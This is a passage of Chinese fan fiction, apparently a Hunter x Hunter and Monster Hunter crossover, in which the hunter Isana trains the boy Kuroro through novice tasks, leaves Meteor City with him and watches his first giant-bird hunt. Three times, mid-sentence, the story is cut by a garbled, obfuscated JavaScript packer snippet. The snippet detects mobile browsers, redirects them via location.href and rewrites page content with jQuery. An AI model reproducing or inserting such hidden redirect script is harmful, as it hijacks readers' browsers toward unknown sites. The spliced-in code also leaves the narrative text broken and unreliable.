“说那么多理由,你只是自己想吃而已吧。”信长用手肘怼了怼他。 “你不吃那你的份给我!” —— 很快,森林里升起了篝火。 伊萨纳一边控制火候,小心地翻转着切成一段段的影蜘蛛腿,一边向孩子们解释刚才发生的事,不过这次他撒了个谎。 “的确是我干的,在这里设置了陷阱。” 说到半途,有孩子要向库洛洛求证,伊萨纳只能求助地向库洛洛使眼色,单手在头顶比了个“麻烦雷达”的手势,而后者心领神会。 “管理员先生和我的想法是一样的……” 他对伊萨纳的真实身份,以及刚才突然消失的白色武装保密了。 “那也就是说,只要以后不走过这棵断树就不会遇上它,虽然这里本来就没人会过来。” 流行街的孩子们对影蜘蛛的存在接受良好,飞坦甚至愤怒于没人叫他一块儿去看怪物,现在见不着了,他又没办法怪库洛洛,于是把账算在了伊萨纳头上。 不过他的这份怒火,在吃到烤影蜘蛛腿之后很快就烟消云散。 “这也太好吃了。”派克诺妲睁大眼睛,就连玛奇都点了点头。 肉质柔软鲜美,油脂的香气被烤出来后,上面还撒了些伊萨纳带过来的盐。 “不过是从守护流星街的家伙身上砍的,”窝金皱着脸,“总觉得心里怪怪的。” “觉得怪就把你的份给我。”信长伸手去抢。 “休想!你这混蛋!” “哈哈,还多着呢。”伊萨纳又烤好几串递出去,“这种大型怪物有时候会有意想不到的惊喜,有些人为了吃到这种难得的珍馐美味,特地去做美食猎人。” 他们有一搭没一搭地闲聊,一段时间后,富兰克林接过剩下几块蜘蛛腿慢慢烤着,让其他人到旁边休息。 火光跃动,一片热闹景象中,坐下暂歇的黑发青年听见旁边的库洛洛开了口。 他的声音很轻:“能不能问你一件事?” “嗯,你说。” “艾登写的那本《猎人伊萨纳》的结局到底是什么?” 究竟是英雄打败了怪物,还是怪物打败了英雄。 尽管那个传说中的猎人本人就在这里,应该说明了是前者,但总觉得哪里不对。 伊萨纳沉默了很久。 就在库洛洛以为他不会回答的时候,才终于开了口。 “我其实自从打过一次照面后,就没有再遇到过黑龙,所以故事结尾大概是按照艾登的愿望,编了一个美好的结局。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219051|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是吗。” 少年多少也猜到了这样的答案。 “嗯,虽然我也有过去追寻黑龙足迹的打算,但在那之前遇到了一些事。” 沉眠于地底,再一醒来,就到了一个几乎完全陌生的世界。 “其实我倒是无所谓,到哪里都是旅行而已。” 伊萨纳说着,歪着头露出苦恼的表情。 “就是艾登那家伙,把故事写得太夸张了,搞得我一说真名,其他人都问我是不是和传说中的英雄同名,让我觉得自己都配不上这个名字。不过,其实他写的不是我,而是同名的其他人也说不定,哈……” 他说到这,低下头去,刘海遮住了他的眼睛,看不出神色。 “现在也没办法知道了。” 千年的时间无论如何也没办法弥补。 “这就是你的名字,没必要让出去,”库洛洛看向附近的深林,声音很轻,“而且不是什么英雄,你是个猎人吧。” “……喔。” 伊萨纳愣了一下,然后又忍不住伸手拍了拍少年的脑袋。 这个手感,和艾露猫真像啊,虽然比它还是稍微高了点。 他在心里感叹着,忽然心里一动,收回手。 “我说,库洛洛。” “什么?” “一起去旅行吗?” “……” 旅行? 肯定不行,还有那么多需要考虑的事情,流星街人想要外出本来就充满危险,更何况还是小孩。 但是望着那双金红色的眼睛,库洛洛不知怎么,鬼使神差地就脱口而出: “好的。” “啊,我听到了。”正好逛到附近的侠客听到两人的对话,对着大伙嚷嚷起来,“管理员要带走库洛洛!” “什么!?”“真狡猾。”“不许抢走我们团长!”“啧,卑鄙的大人……” 孩子们顿时炸了锅,凑过来问是怎么回事。 伊萨纳笑着摆手,抵挡他们的推搡:“别这样,又不是一去不复返,我们去外面探探路,等库洛洛明白怎么在外面生存之后,他就能回来带领你们一起出去了。” 这倒也是。 孩子们变得纠结,而就在这时,库洛洛站了起来。 “大家,”他一脸认真,坚定地说,“请给我三年时间。现在的我能力还多有不足,但三年后, 我会带领旅团前往这个世界。” 不只是停留在流星街。 也不只是做给孩子们演出的团体。 “我觉得团长说得没错,”富兰克林沉思着,“总不能一直这样下去。” 没人出现异议,事情就这么定了。 “好,那作为旅行前的准备,”伊萨纳突然站了起来,“我来教你们怎么狩猎吧。” “狩猎?” “是的,首先从适合的武器开始。” 他将目光放到信长身上。 “你技术精湛,适合用太刀。” 信长满意地点头:“我早就有这个意思,只是一直没有合适的刀。” 然后伊萨纳看向侠客。 “你脑子转得很快,思维灵活。” “嗯嗯。” “所以适合太刀。” “嗯……啊?” 不等他追问,伊萨纳又看向玛奇:“你身手灵活,适合太刀。” 玛奇:…… “前面忘了后面忘了,总之你们都适合太刀。” 小旅团众人:…… 然后他就被愤怒的孩子们(信长除外)淹没了。 “这不是其他武器不方便找吗。”伊萨纳求饶地在人堆中伸出手,“好了,我重新讲。” 这回他认真按照每个孩子的体质分析了一下作战方式,对那些不想战斗的孩子,则是说了一些有关生物调查相关的方向。 在他说完后,最后到了库洛洛。 “那我呢?”库洛洛问。 “你?” 伊萨纳一副“你在说什么”的表情。 “你当然要把所有武器都学会呀,不过在那之前,有三本生态学的书得读完,此外还有武器研磨、炸药、陷阱、采集、调配……” 库洛洛眨眨眼,愣在原地,倒不是因为要学很多东西,只是没想到和其他人的差别会那么大。 “为什么?” “因为你要跟我一块旅行,当然就是我重要的同伴(随从艾露猫)了啊。” 怪物猎人理所当然地说着。 8.第八章 对怪物猎人中的新手来说,重要的往往不是讨伐怪物,而是在野外环境里生存。 所以在正式承接工作之前,当地的集会所或者村镇组织,一般会给他们委派四个任务。 “名义上是任务,但更像是生存能力考察,用来作为旅行前的最后准备正合适。” 当库洛洛学会了现阶段所有能学的理论知识后,伊萨纳就把新手任务中的前两个——“采集素材”和“调配回复药”告诉了他。 “流星街附近没有适合调制回复药的素材,”他之前已经考察过这里的情况,“如果你想尝试,就改成调制‘麻痹瓶’吧。” “我知道了,” 库洛洛顿了一下,有些不解地抬眼看着伊萨纳的表情。 “你为什么这么高兴?” “可能是因为坐在柜台里,莫名有一种集会所工作人员的气氛,”伊萨纳闭上眼,感慨地笑,“终于轮到我给别人发布任务了,做了一辈子怪物猎人,总算……” 库洛洛左右看了看,这里只是教堂区借阅室的前台而已,根本不是集会所那种大地方。 但这个人看上去很高兴,就随他去吧。 少年想起麻痹瓶的制造方法和所需素材,这些他都已经看过相应的理论,并不困难。 过了不到一个小时,他就找完了所有东西。 “全部合格,”伊萨纳赞许道,“总共耗时三十几分钟,第一个任务完成得真快。” 在垃圾山里寻找可以利用的素材,在荒地和森林寻找能用的植物,这些本就是流星街人最擅长的事。 “三十几分钟?” 少年用表情表达着“要计时就请精准一点”的想法。 “抱歉,”伊萨纳歉意地笑,“我不习惯看表。” 找完所需素材后,当天下午,库洛洛就将调配好的麻痹瓶送到了借阅室。 伊萨纳拿起那个浅黄色的玻璃瓶,仔细观察一番,又打开了上面的瓶盖,露出困惑的表情。 “以附近的麻痹菇的品相,不像能有这个效果啊。” “是的,我做了提纯,调配基础药材的手段本来就不需要精密仪器,所以我一个人也能完成。” “那你……应该没有自己去试验它的毒性吧。” 库洛洛点头:“当然。” “那就好,在你成年或者学会念能力之前都不要尝试,搞不好会造成呼吸停止。” 少年捕捉到了那个词,愣了一下,然后做出一副事情暴露的微妙表情。 “你知道了。” “知道什么?”伊萨纳歪了下头,“是你最近在打听念能力存在的事,还是拒绝了长老们给你派来的老师的事?” “……” “不要那样看我啊,是神甫怕你自己修炼念的时候出什么差错,让我多看着点。” “那你会教我用念吗?”库洛洛问。 “教你?” 伊萨纳将瓶子重新盖好,随后那双金红色的眼睛看向库洛洛。 “我现在的目的只是提高你作为旅行同伴的能力,难道你想让我做你的教官,然后成为一个怪物猎人?” 问题被抛了回去。 少年陷入短暂的沉默,似乎在思考。 “在这里决定未来的职业是不是太草率了。”伊萨纳道。 “不,我只是在想‘怪物’的定义。”库洛洛说。 “就是字面意思。” “我知道。” 嗯…… 这孩子,时不时就会给他一种想法很复杂的感觉。 “不管你是怎么想,如果不打算成为怪物猎人,就别让我教念能力,”伊萨纳语气坦然,“肯定会把你带偏。” 而且他观察过现在的念能力者,发现在修炼方向、气的运用上,到处都与千年前有很多不同。 他们从几米的高处掉下来都可能受重伤,更别提百米的断崖。 “说得也是,我想得太少了。” 意识到现在纠结于这个问题没有结果,库洛洛干脆利落地换了个话题。 “伊萨纳先生,我第二个任务合格了吗?” “当然,这个强度连对飞龙种起作用都绰绰有余。”黑发青年站起来,“调配任务从承接到完成,总共只耗时4小时。” “我知道了,接下来应该还有两个任务?” 听见库洛洛的问题,伊萨纳意味深长地笑。 “下一个是四个任务里第二难的,做好准备,明天我再告诉你。” —— ———— 第三个任务:素材搬运。 顾名思义,就是找到雇主需要的素材,然后搬运到指定地点的工作。 听上去只是普通的体力活,但对猎人来说一般都是能不做就尽量不做的麻烦事。 首先会出现这种任务要求的地方,一般都是车马无法进入的极度复杂的地形。 森林的冷风掠过耳边。 少年在复杂的密林深处快速穿行,防备着地上遍布的蜘蛛网,警惕每一个可能会出现的高低差。 不仅如此,周围具有攻击性的小型环境生物也会干扰行动,而且因为双手都得捧着沉重的素材,连还手的机会都没有。 无法还击的感觉确实很陌生。 库洛洛看向手里抱着的东西,心中想着。 双手都被限制,如果不是提前做了考察,熟悉这一带的地形,他可能早就被某个不起眼的地形差给绊住,让任务功亏一篑了。 一段时间后。 当他跑回流星街的范围,把东西轻轻放下时,伊萨纳已经在那里等着了。 “怎么样?” “确实不简单,”少年平复着呼吸,“只是拿走一颗被影蜘蛛扔到巢穴边缘的卵,但稍不留神就会被它发现,我绕了很久才成功出来。” 被那头影蜘蛛警惕和追踪,对正常人来说都是直面死亡威胁的惊悚时刻,但现在,库洛洛却觉得新奇。 甚至还挺有趣。 “这个要怎么办?”他看向自己搬来的东西。 这是一颗白色的影蜘蛛卵。* 它被放在流星街垃圾山间的地面上,直径约有一个汽车轮胎那么大,外壳上布满白色的柔软丝线,而且重得惊人,在搬运期间安排体力消耗和休息的间隙也是个难题。 这个任务花了库洛洛六个小时,是目前最久的一个,不过大部分时间都被花在观察地形上了,最后的搬运只有短短几十分钟。 “任务完成,你去休息吧,”伊萨纳蹲下来,对着蜘蛛卵伸出手,“现在我会负责把它放回……哎?” 蜘蛛卵动了一下。 伊萨纳抬到一半的手顿在半空。 在两人的注视下,蜘蛛卵更加剧烈地摇晃起来,就像有什么东西要从中破壳而出。 不会吧? 仿佛是要应证这个想法般,只见从那团白色丝线的一侧伸出了几条细长的腿,最后是一颗脑袋。 “……” 刚孵化的小蜘蛛翻过圆滚滚的身体,四肢着地,然后初生的八只金色眼睛开始左右打量库洛洛和伊萨纳。 “这也太少见了……” 怪物猎人像是看到了无比珍奇的画面,充满兴趣地观察着它。 影蜘蛛是一种性格极其谨慎,对幼崽保护得严丝合缝的生物,几乎没有人见过它的卵。 “这颗卵被它扔在巢穴外面,按理来说只可能是个不会孵化的死胎才对。” “原来影蜘蛛的幼体长这样吗?”库洛洛打量着小蜘蛛的外形。 还怪可爱的。 “我不清楚,铗角种的幼体一般不会出现在明处,存活率也低,一般只有针对成年体的讨伐委托。” 他完成过不少与巨型蜘蛛有关的任务,但是几乎没见过它们的孩子。 不过也可能是因为进入繁殖期的影蜘蛛一般都会藏得很深,没人会针对它们发布任务。 ……还好没有,不然不知道多少人会被这个可爱的外表骗了。 他们正说着,这只小狗大小的小蜘蛛忽然“叽叽”叫了起来。 两人默契地沉默几秒,然后库洛洛转头看向伊萨纳。 “这是怎么了?” 伊萨纳少见地做出一副被问住了的表情。 “可能是呼唤同伴?”他抬手摸了摸脑后,“好吧,我不知道。” 就在他们摸不着头脑时,从垃圾山的另一侧传来一阵脚步声。 “你们在做什么?” 从那里探出一个金色短发的脑袋,满脸好奇。 “派克,”库洛洛认出来者,打了招呼,“下午好,你是要去希拉那里吗?” “嗯,今天跟她有约。”派克诺妲说着,视线也放在那个像坏了的报警器一样响个不停的小蜘蛛身上,“我听到有东西在叫,这是什么?” 于是库洛洛简单解释了一下状况。 “我们也没想到它会突然孵化。” 派克点点头:“这样啊,也就是说这是那只影蜘蛛的孩子?” 看到地上趴着叫唤的小蜘蛛,她想了一下,顺手喂给它一只甲虫。 “吃吗?” 小蜘蛛小心地上前盯了一会儿,然后抓住甲虫吃进嘴里,吃完它就不再叫了,走到派克脚边挨着她。 “应该是饿了。”派克诺妲摸了摸它柔软的背。 “你是怎么知道的?请告诉我。”伊萨纳问道。 “就是有这种感觉而已,不过应该没有玛奇的直觉那么灵。”面对猎人认真到甚至有些尊敬的神色,女孩不好意思地笑了笑。 然后她站起来,往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226013|197487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边走了一步,发现小蜘蛛还是跟在自己脚边。 “它为什么跟着我?” “铗角种的幼崽好像是有跟随大型个体行动的习性。” 伊萨纳想起以前在事务员索菲亚那看到过的怪物资料,这种冷门知识除了她那样的怪物狂热爱好者之外,可能也没有人会特地收集了。 他现在都还记得那页笔迹最后,用压抑着激动的颤抖字迹(抖得像写下的诅咒)写着一个结论: “理论上,如果出生就见到人类,它们是可以被人工喂养的。” 伊萨纳咽了下嗓子,又补充一句:“大概。” 小蜘蛛蹭了蹭派克的脚腕,后者再次安抚地拍了拍它。 “你想留下它吗,”伊萨纳问她,“要是不想,我就把它送回森林。” 不过这个东西,如果不是影蜘蛛就麻烦了。 万一是混进去的其他种类,它恐怕会被影蜘蛛吃掉,同一个地区的不同铗角种之间,往往并不对付。 “如果留下来,它会伤害别人吗?”派克问。 “这取决于你,它认定你是大型个体后,会听你的指示行动。但这种蜘蛛幼崽大概率长不大,同一窝蜘蛛卵里,会变成完全体的个体只有几个,”伊萨纳补充,“如果你是想培养影蜘蛛那样的战斗力,恐怕会失望的。” 女孩没有立刻回答,只是神色温柔地蹲下来,试探性地将手指伸向小蜘蛛的口器。 库洛洛屏住呼吸,下意识摸上藏在腰间的折刀,因为他看到派克的手上有一处小小的擦伤。 血腥气会刺激野兽,这是常识。 片刻后,在倾洒而下的阳光中,这只小蜘蛛忽然抬起前爪,轻轻勾住了派克的手。 随后,用背上的丝线缠起了她手指上的擦伤。 “……” 紧绷的气氛渐渐淡去,面对这纯粹到几乎有些神圣的一幕,所有人都失去了言语。 结果如何已经无需特地说明,派克接下来还有事,于是她微笑着对两人告别。 “来,”她对小蜘蛛招招手,“没有兄弟姐妹的陪伴很难熬吧,我带你去认识些新朋友。” 蜘蛛站在原地,然后学着她的样子抬了抬手。 “那就说好了。”派克跟它击了个掌,然后带着它往路的另一边走去,“等你学会吐丝,就能帮上养母们的忙了,你会修补衣服吗?” 小蜘蛛叽叽回应着,不知道在说什么。 等他们的身影消失在道路另一侧,库洛洛才松下肩膀。 “派克要喂养的动物本来就多,现在又给她添麻烦了。” 少年的语气带着歉意。 “刚才那可不是喂养动物这么简单,”伊萨纳语气难得有些雀跃,“这是个了不起的才能。” “才能?” “现在的书上可能没有记载了,但千年前,除了猎人之外,还有一个与之对应的群体,他们被称为怪物骑士(Rider),会从怪物孵化开始与其共存。” 伊萨纳感慨地望着派克诺妲离开的方向。 “据说他们也曾经解决了险些毁灭世界的危机。而那姑娘,说不定就有成为骑士的资质。” 天生能看到念的孩子、拥有稀世的领袖才能的孩子、还有天生适合成为怪物骑士的孩子。 流星街真是卧虎藏龙。 就在这时,一阵风吹来。 他伸了个懒腰,神色也恢复了一贯的漫不经心。 “好了,准备好进行最后也是最难的任务了吗?”伊萨纳问。 “现在吗?我知道了,”库洛洛觉得有点累,但还是坚持道,“什么任务?” “烤肉。” “……” “……” “什么?”库洛洛又问了一遍。 “烤肉,就是把生肉串在棍子上,然后升起篝火……” “我不是在问这个,”少年漆黑的眼睛里带着怀疑,“你确定这是最难的任务?” 伊萨纳抱起手臂:“不要小看它,这是困扰了无数新手甚至老猎人的超高难度任务。” 又是这个说法,库洛洛不由得将信将疑。 “我这里有块生肉,你现在试试看,没事,如果要烤过头我会及时制止你的,不会浪费粮食。” 于是几分钟后,库洛洛拿着一根火候完美的烤肉,用“这到底难在哪了”的眼神看向伊萨纳时,后者头一次,睁大了那双一贯倦怠的眼睛。 “不,这……” 他当年刚成为怪物猎人的时候一直烤不好,一直吃半生不熟的肉回复体力,后来经过了数年间断断续续的训练才变得熟练。 “我的训练,到底算什么?” 看着那完美的烤肉,怪物猎人开始怀疑起人生。 烤肉任务,耗时10分钟完成。 9.第九章 离开流星街的早上,是个普通的晴天。 与同伴们和老神甫等人告别后,库洛洛只身来到附近唯一的巴士站,在那里跟伊萨纳一起坐上最后的座位。 出发后,车辆颠簸着往东行驶。 经过最后一个流星街当地黑/帮驻守的岗哨,前面的路对少年来说就变得陌生,但因为一直能远远看到森林,所以回去的路并不难找。 他看向窗外快速移动的荒漠景色,一边记下方位,一边思考着以后要做点什么。 “有点紧张?”伊萨纳问,“放心,肯定能交到新朋友的。” 库洛洛一脸不解:“什么?” “因为外界住了很多人,跟你年纪相仿的小朋友肯定也有很多。” “你是带孩子搬家的家长吗?”少年反应过来他在开玩笑,满脸的无奈。 “谁叫你一直板着脸。”伊萨纳装不下去了,笑着耸了下肩,“我不知道神甫和长老们跟你聊了什么,但现在把他们都忘了吧。来,我告诉你一个秘密。” “什么?”在对方的示意下,库洛洛凑过去。 “其实这是我第一次坐巴士。” “嗯。” “所以实际上,我不知道什么时候能下去。” 库洛洛看了他一会,忍不住笑了:“那一会儿就跟着我走吧。” “好,拜托你了。” 真是可靠的艾露猫……他是说旅行的同伴。 过了一段时间后,两人到达了目的地。 这里还是几乎什么也没有的一片荒漠,周围只有几个不知道是黑/帮还是商贩的人,靠在货车旁边抽着烟,不知道在等什么。 “驻守在流星街的黑/帮会从外界购买军/火和物资。”库洛洛道,“估计这里就是接头点之一。” “原来如此,怪不得这么热闹。” 伊萨纳像是完全没感受到那些不怀好意的目光,将视线在周围扫过一圈。 就像是觉得一切都很新鲜,毫无防备的轻松姿态。 越是这样,库洛洛就越是意识到这人很强,以他的实力,也的确不用在乎这些人是否心怀鬼胎。 “我们接下来要等从东边驶来的下一辆车,大概在天黑前会来。”库洛洛说。 “但是距离天黑还有很久,”伊萨纳转头看他,“你不饿吗?” “我带了干粮和水。” “旅行的第一顿饭,还是吃饱一点比较好。” “那就水和干粮。” 伊萨纳忍不住嘀咕:“真固执。” “难道你有别的选择?” “有些想法,但是等一下,我先确认一件事。” 两人谈话期间,已经有几个匪徒在不知不觉间,于稍远的位置形成了一个不小不大的包围网。 四个……不,还有一个在车里,一共五个人。 “这种情况普遍吗?”伊萨纳问。 “两个看起来没有杀伤力的流星街人,其中一个还是小孩,他们大概觉得是场丰收。” 库洛洛的话里听不出情绪。 “我开始怀念千年前的日子了。”伊萨纳叹气。 那时,大部分人都在想办法应付怪物和自然灾害,虽然不是铁板一块,但至少不会像这群人这样,把他人当成可以宰割的猎物。 “看样子没有念能力者,”他看向库洛洛,“长老们应该给了你信物,只要出示,这些人就不会动你。” “嗯,但我出来前就扔了。” “扔了?” 伊萨纳微微一愣,但很快就明白了库洛洛的意思。 比起成为长老的人偶,他更想用自己的办法改变流星街。或者说,长老会本身也是他认知中需要改变的部分。 “没有信物我也能对付他们。”库洛洛说,“不过车里的那个有枪,我可能会把你算进战斗的一部分里,可以吗?” “那倒是无所谓,”伊萨纳低下头寻找着什么,“不过这次可以不用那么麻烦。” 他从地上捡起一枚趁手的石子,轻轻颠了两下,又用念覆盖,瞄准了坐在车里,那个拿着枪的匪徒头领。 “实际上,我用远程武器用得也不错。” 话音落下,指尖轻弹,只听“砰”的一声巨响,石子从那辆车的前挡风玻璃进入,贯穿枪口和那人的手指。 “啊!!” “这个是不是叫正当防卫?”在惨叫声中,伊萨纳拍了拍手上的灰。 “……我想法律不作用于流星街人。” 毕竟他们的人权都不被确认。 “那真可惜。” 做完这一切后,伊萨纳无视那些僵在原地的匪徒,手搭凉棚看了看附近的天空,最后选了个方向。 “刚才谢谢你,库洛洛,”他朝着那里扬起头,“坐巴士很有趣,所以现在我也给你介绍一种有趣的交通工具。” 少年顺着看过去,发现天边盘悬着几只翼龙。 这些中等体型的环境生物不具备大型怪物的战斗力,但体力和飞行能力都很强,而且最重要的,它们一般会有在掠食地点和巢穴两个地方进行定点往返的习性。 那几只聚集在这,估计是冲着商人剩下的食物残渣、货品、甚至是尸体而来。 “上面那几只属于‘行翼龙’,”伊萨纳解释,“这种翼龙的战斗力很弱,又不喜欢大批聚集,所以它们不会将巢穴建立在荒漠,而是选择水草丰美又人迹罕至的地方……你带了绳索吗?” “用影蜘蛛的丝线做了一个。”原本是想做成陷阱网的,但时间紧,采集得不太够。 “那绰绰有余了。” 话音落下,伊萨纳朝着上空扔去两块石头,当然这次没有用念。 “趁现在。” 有两只翼龙被石头打中,伴随着一声鸣叫,身体也往下掉了些许,与此同时,伊萨纳和库洛洛分别套上了它们的爪子。 紧接着,库洛洛感到一阵失重的刺激。 大地和车辆都瞬间缩小了数倍,像是微缩模型,而地平线变得清晰,能看到阳光在黄褐色的荒漠上掀起滚滚热浪和灰尘。 他被翼龙带着飞起来了。 风在耳边呼啸,自由自在,就像空中漂浮一样。 少年不由得睁大眼睛,看着这一切。 “比秘密基地的塔楼还要高,是不是?”伊萨纳指了个方向,“看,那里是影蜘蛛所在的森林。” 库洛洛扭头看去,发现那片曾经深不可测的幽邃深林此刻也变得轮廓清晰,而附近的地貌全都能尽收眼底。 大地辽阔,树叶在阳光照射下翻涌起波浪。 而在森林后面垃圾焚烧的烟雾升起的地方,就是流星街。 风吹乱了他的头发,就连那双深不见底的漆黑眼睛里,此刻也被高远的太阳照亮。 紧接着,少年忽然意识到了一件事,一件很重要的事—— 他好像知道流星街在哪里了。 —— ———— 一段时间的飞行后,他们穿过荒漠,来到一片被绿植覆盖的原生林,随着两头翼龙的降落回到地面。 收起绳索,两人找了一处平地扎营。 这些行翼龙的巢穴基本上都选择了大型怪物不光顾的地方,所以很安全。 支起临时帐篷后,伊萨纳就去钓鱼了,而库洛洛收集了些柴火,开始钻研地图。 他的视线在原生林和附近百余公里外的镇子上来回移动片刻,又找到流星街的大致范围。 笔尖微颤地在上面停顿片刻,最后却冷静下来,放弃把地点标注上去的想法。 哪怕画上去又能改变什么? 另外,和之前说的一样,他不完全认同流星街长老的方式。 虽然用自/爆的恐怖复仇震慑外界是个好主意,但这些还不够。 “还不够……” 少年深不见底的黑色瞳孔盯着手中的地图,思考接下来要做的事。 “你在看什么呢?” 拎着鱼的伊萨纳已经回来了,在简易的帐篷外探头看向他。 “伊萨纳先生。”少年收起地图,同时也瞬间收起刚才的表情,扬起一个笑,“辛苦了,我去生火。” 天色已经暗了下来。 劈啪作响的篝火旁,两个人一言不发地坐着。 “你想好之后要去哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是的,我对它没有憎恨。只要是旅行,千年前还是千年后都没什么区别。但偏偏我的记忆有很大一片空白,在被龙结晶困住之前到底发生了什么事,完全想不起来。” 伊萨纳困扰地扶着额头。 或许再与它见上一面,就能想起来也说不定。 “不过我还是不擅长拥有什么东西,连记忆也是,所以我还是想先在这世界上走走再去找它。你是我的同行者,我有义务跟你解释清楚。” “我知道了。”少年为他的坦白而感到有些高兴。 “嗯,库洛洛你呢?你想要做什么。” “还不太清楚,但现在我想要书。” “书?”伊萨纳愣了一下,“那在原生林可没法找到,我们下一站就去有书的城镇看看,不过在那之前,你想试着狩猎吗?” 狩猎。 对库洛洛来说,这个词还显得有些陌生。 而且哪怕是在千年前,让十二岁的孩子自己单独狩猎都有点早了。 不过,这个怪物猎人每次布置的任务都对他有很大启发。 “有一种在怪物猎人间被称为‘新手导师’的怪物,”伊萨纳继续道,“虽然是鸟龙种,但是作战习惯和行为模式,各方面都和飞龙种有相似之处,而且危险性相对比较低,数量也多。” 库洛洛点点头,他在书里看到过类似的说法:“你是说大怪鸟。” “是的。” “但这片原生林里有吗?” “追踪猎物也是学习的一环,而且,”伊萨纳意有所指地看向身后,“你听说过大怪鸟繁殖季吗?” 话音落下,林间忽地刮起一阵大风,紧接着在少年睁大的眼睛里,一群浩浩荡荡的怪鸟集体乘风飞行,掠过夜晚的天空。 无数暖色的翅膀在月光下起舞,将夜晚染上一层浅红。 库洛洛无言地看着这宛若梦境的一幕。 “就是现在这个季节。” 风吹乱了青年微长的头发和斗篷,隔着摇曳的火光,他轻松地笑。 “要试试吗?” 10.第十章 午后,阳光下的原生林。 一头落单的大怪鸟被食物吸引到此地,尽管它已经足够警惕地抬头注意周围,却还是掉进了猎人早早准备好的陷阱,奋力挣扎着想要挣脱。 对猎人来说这是个好消息,然而事情没这么简单。 “唔!” 藏在附近树木阴影里的库洛洛刚想尝试接近,那头挣扎中的怪物就一个猛转身,那条有成年人大腿粗的尾巴像鞭子一样袭来,险些抽中他的手臂。 风压划开了袖子的一角,在皮肤上留下一道浅浅的伤口,少年只能险险躲开,凝神重新思考进攻的时机。 大怪鸟这个词,在科科特语中有着“羊库库”这样可爱的发音,在大型怪物中算是最小的那一批,于生态链中的位置也仅仅高于翼龙等环境生物。 但即便如此,它们也是“怪物”。 平均身高达到三米,体长更是能达到九米以上。对普通人来说,就相当于和一台灵活性极强的车辆搏斗,哪怕只是被撞一下就会造成致命伤。 更何况,这些怪鸟还有着能抵御火焰的坚韧甲壳,以及异常巨大的喙,所幸人类不在它们的食谱里,不然库洛洛都可能被它一口吞进去。 就在少年思考对策的同一时间,在稍高于地面的位置。 伊萨纳用绝隐蔽了气息,站在繁茂的树枝阴影间,观察着空地上的战况。 他不会打扰库洛洛的狩猎,但基本的支援还是要做好的,千年后的现在,可没有搬运伤者的艾露猫们推着小车过来救人(顺便收取猎人三分之一的报酬金)。 转眼间陷阱即将失效,于是少年拿出了之前制造的麻痹瓶。 要用这个吗。伊萨纳想着。但把底牌用在大怪鸟身上,总觉得有点浪费……嗯? 他看见,在取出麻痹瓶的同时,库洛洛还拿出一把紫色的小刀。 随后他走到大怪鸟的脑袋旁边,瞄准那两片形似扩音喇叭的外耳,做出像是演奏弦乐的姿势,以刀为琴弓,用力划了一把瓶身。 “呲——!” 极度尖锐的声响在林间回荡,激起一片飞鸟。 大怪鸟发出一声惨叫,几乎昏死过去,挣扎的速度顿时变得无力。 “原来如此。” 这孩子发现大怪鸟的弱点了,观察力真强。 大怪鸟巨大的扇形耳朵可以将它们的尖啸声扩大成足以震晕敌人的攻击,但与此同时也会让它们的听力灵敏数倍。 这些知识不存在于书本中,那就只可能是库洛洛自己通过观察得出的结论。 而在怪物陷入眩晕后,攻击就毫不留情地朝着它倾泻而下。 不过尽管这么做是很有效。伊萨纳心想。但接下来你打算怎么办呢? 短暂的陷入眩晕后,清醒过来的大怪鸟彻底从陷阱中挣脱,它仰头发出愤怒的狂吼,然后喙部的啄击和甩尾都如同暴风雨般袭来。 库洛洛无法进入它的攻击圈,只能及时远离,而就在这时—— 那头被激怒的大怪鸟,忽然瞄准他的方向仰起脖子。 “!” 尽管不知道它要做什么,少年还是本能地跳离原地。 下一秒,一颗比他人还大的火球就被吐了过来,砸在地上掀起一阵骇人的热浪。 “大怪鸟的火球……真怀念。” 伊萨纳背靠在树干上,抱着手臂,看着那个利用各种道具和地形展开作战的小小身影。 曾经他也是这样手忙脚乱进行战斗的新人,一点点在战斗中了解对手,因为不清楚大怪鸟的习性,所以差点被喷出来的火焰砸个正着。 继续观战了一段时间,傍晚时分,在下方的空地上,胜负已分。 狩猎结束,大怪鸟精疲力尽地倒下了。 库洛洛警惕着怪物可能的反扑,然后听见身后有人落地的声音。 “这个习惯很好,的确有不少怪物会装死,趁着猎人大意突然攻击。”伊萨纳拍了拍身上的灰,笑着向他走过来,“恭喜讨伐成功,剩下的就交给我吧。” 库洛洛放下手里磨损严重的短刀,靠着一棵树坐下,他的确也已经精疲力尽。 伊萨纳帮他处理了身上的擦伤,然后利落地分解了那只大怪鸟,做了一顿烤怪鸟肉串,将剩下的素材打包起来。 “它的翼膜得留下,以后搭帐篷要用,这东西防火防水,而且摸起来很舒服。”伊萨纳清点着素材,“其他部分,如果你没有想留下的,我们就带到镇子上卖掉。” “我没什么要留下的。” 少年点头答应。 “不过,伊萨纳先生。” “嗯?” “你狩猎大怪鸟大概需要多久?” 伊萨纳想了想:“如果是遭遇战,大概几分钟?”其实他说保守了,应该用不到分钟计算。 “我知道了。” 